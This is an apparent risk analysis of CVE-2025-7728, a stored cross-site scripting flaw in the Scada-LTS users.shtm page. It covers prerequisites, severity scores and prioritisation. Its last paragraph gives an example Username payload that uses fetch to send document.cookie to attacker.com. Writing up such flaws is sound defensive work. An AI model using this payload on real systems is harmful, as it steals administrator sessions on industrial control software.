Scada-LTS CVE-2025-7728

Exploitation requires the following specific conditions: (1) Valid authentication credentials to the Scada-LTS application (PR:L); (2) Access to user management functionality, typically restricted to administrative or privileged accounts; (3) The ability to create or modify user records with control over the Username field; (4) An administrator must navigate to or view the users.shtm page where the malicious Username is rendered (UI:P - user interaction required). The vulnerability does NOT require default configurations or special feature enablement - any standard Scada-LTS installation with user management accessible to authenticated accounts is vulnerable. Limitations on exploitation include: the network attack vector (AV:N) is only reachable if Scada-LTS is exposed to the network; the vulnerability is confined to the users.shtm function and does not affect other interfaces; and the impact is limited to the security context of the browser session (no direct system-level compromise unless administrator session tokens are harvested).

The risk assessment reveals a significant disconnect between CVSS severity and real-world exploitability. CVSS 2.0 indicates minimal direct impact, and EPSS 0.05% (15th percentile) suggests very low likelihood of widespread exploitation. However, several factors elevate practical risk in operational environments: (1) Authentication is required (PR:L per CVSS 4.0 vector), but many ICS deployments have weak credential management, making this less restrictive than standard IT systems; (2) User interaction is mandatory (UI:P), reducing automated exploitation; (3) The impact is limited to integrity (VI:L) with no confidentiality or availability loss stated; (4) Public exploit code exists, enabling attackers who gain legitimate access to craft targeted payloads for administrators. In SSVC terms, this is automatable (username field is standard), has technical impact (XSS affecting admin workflows), but requires exploitation to be post-authentication. The low EPSS despite public POC suggests targeted rather than mass exploitation. Priority should reflect: HIGH for environments where insider threats or credential compromise are realistic concerns, LOW for air-gapped or highly controlled access environments. The 2025 disclosure timeline and confirmed vendor patch reduce uncertainty about availability of fixes.

An authenticated administrative user with write permissions creates a malicious user account with a specially crafted Username containing JavaScript code (e.g., '<img src=x onerror="fetch('http://attacker.com?cookie='+document.cookie)">'. When another administrator navigates to the user list or user details page in users.shtm, the script executes in their browser session with administrative privileges, potentially allowing the attacker to harvest session tokens, reset passwords, or modify system configuration. The attack requires the attacker to have valid credentials and for an administrator to interact with the poisoned user record.